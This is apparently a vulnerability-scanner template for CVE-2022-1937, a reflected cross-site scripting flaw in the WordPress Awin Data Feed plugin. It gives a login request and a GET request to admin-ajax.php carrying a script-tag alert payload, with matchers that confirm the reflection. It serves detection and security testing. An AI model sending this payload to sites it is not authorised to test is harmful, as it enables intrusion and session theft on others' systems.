id: CVE-2022-1937

info:
  name: WordPress Awin Data Feed <=1.6 - Cross-Site Scripting
  author: Akincibor,DhiyaneshDK
  severity: medium
  description: |
    WordPress Awin Data Feed plugin 1.6 and prior contains a cross-site scripting vulnerability. It does not sanitize and escape a parameter before outputting it back via an AJAX action, available to both unauthenticated and authenticated users.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress Awin Data Feed plugin (1.6 or higher) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/eb40ea5d-a463-4947-9a40-d55911ff50e9
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1937
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1937
    cwe-id: CWE-79
    epss-score: 0.01397
    epss-percentile: 0.68873
    cpe: cpe:2.3:a:awin:awin_data_feed:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: awin
    product: awin_data_feed
    framework: wordpress
  tags: cve,cve2022,xss,awin,wpscan,wp-plugin,wp,wordpress,authenticated,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin-ajax.php?action=get_sw_product&title=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header_2, "text/html")'
          - 'status_code_2 == 200'
          - contains(body_2, 'colspan=\"2\"><script>alert(document.domain)</script></th>')
        condition: and
# digest: 4a0a0047304502204deaed3cbc9c6adc359aa0562111ff495f55cae304d2498fe26407c2605f0261022100ad8d93354e48cf8a45377c54847339e40b1489c7d21772ce9dd366ee1666a4bb:922c64590222798bb761d5b6d8e72950